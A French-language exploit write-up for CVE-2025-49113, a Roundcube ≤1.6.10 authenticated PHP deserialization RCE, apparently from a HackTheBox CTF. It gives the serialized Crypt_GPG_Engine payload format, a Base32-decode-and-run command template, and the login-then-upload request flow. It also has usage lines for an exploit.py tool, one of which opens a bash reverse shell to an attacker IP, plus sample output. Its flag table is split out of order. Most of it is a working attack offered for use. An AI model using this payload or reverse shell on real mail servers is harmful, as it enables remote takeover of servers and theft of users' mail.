
CVE-2025-49113 – Roundcube ≤1.6.10 RCE post-authentification par désérialisation d'objet PHP (HackTheBox CTF)
| Champ | Détails |
|---|---|
| CVE | CVE-2025-49113 |
| Logiciel | Roundcube Webmail |
| Versions affectées | ≤ 1.6.10 |
| Vulnérabilité | Désérialisation d'objet PHP → RCE |
| Authentification | Requise (tout utilisateur valide) |
| Impact | Exécution de code à distance sur le serveur |
| Contexte | Découverte lors d'un CTF HackTheBox |
Les versions de Roundcube Webmail jusqu'à la 1.6.10 incluses sont vulnérables à une exécution de code à distance après authentification. Le gestionnaire de téléchargement de fichiers désérialise un objet PHP intégré dans le nom de fichier d'une pièce jointe téléchargée. En forgeant un nom de fichier malveillant contenant un objet Crypt_GPG_Engine sérialisé, un attaquant authentifié peut déclencher l'exécution de commandes arbitraires sur le serveur sous-jacent lorsque le nom de fichier est traité.
Désérialisation d'objet PHP (CWE-502). Le point de terminaison de téléchargement de fichiers de Roundcube transmet le nom de fichier fourni par le client via un chemin de désérialisation sans validation. La classe Crypt_GPG_Engine est disponible dans la chaîne de dépendances de Roundcube et sert de chaîne de gadgets exploitable.
La classe Crypt_GPG_Engine contient une propriété _gpgconf qui est passée à un appel système lors de la destruction/initialisation de l'objet. En sérialisant une instance avec une valeur _gpgconf forgée, l'attaquant force l'exécution de commandes.
Format de la charge utile sérialisée :
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<commande-encodée-en-base32> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
La commande est encodée en Base32 pour éviter les problèmes de caractères spéciaux dans le champ du nom de fichier.
Attaquant (authentifié)
│
▼
GET /?_task=login → Récupérer le jeton CSRF + cookie de session
│
▼
POST /?_task=login → S'authentifier avec des identifiants valides
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename="<CHARGE_UTILE_SÉRIALISÉE>"
│
▼
Le serveur désérialise le nom de fichier → Crypt_GPG_Engine instancié
│
▼
_gpgconf exécuté → commande OS exécutée en tant qu'utilisateur du serveur web
La commande est encodée en Base32 pour éviter les caractères qui casseraient le champ du nom de fichier multipart (guillemets, barres obliques, etc.). La commande finale exécutée sur le serveur est :
echo "<CMD_B32>" | base32 -d | sh
python3 exploit.py -u <USER> -p <PASS> -i <URL_CIBLE> -x <COMMANDE>
| Flag | Description |
|---|---|
-u | Nom d'utilisateur Roundcube |
# Vérifier l'exécution de code en tant qu'utilisateur du serveur web
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# Shell inverse
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
Aucune bibliothèque externe requise — utilise uniquement la bibliothèque standard Python (http.client, urllib, base64, etc.).
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Démarrage de l'exploit Roundcube (CVE-2025-49113)
[*] Récupération du jeton CSRF...
[+] Jeton CSRF obtenu : abc123...
[*] Authentification...
[+] Authentification réussie
[*] Exécution de la commande : id
[+] Exploit terminé. Vérifiez la cible pour l'exécution de commande.
-p | Mot de passe Roundcube |
-i | URL cible (ex : http://mail.target.htb) |
-x | Commande à exécuter sur le serveur |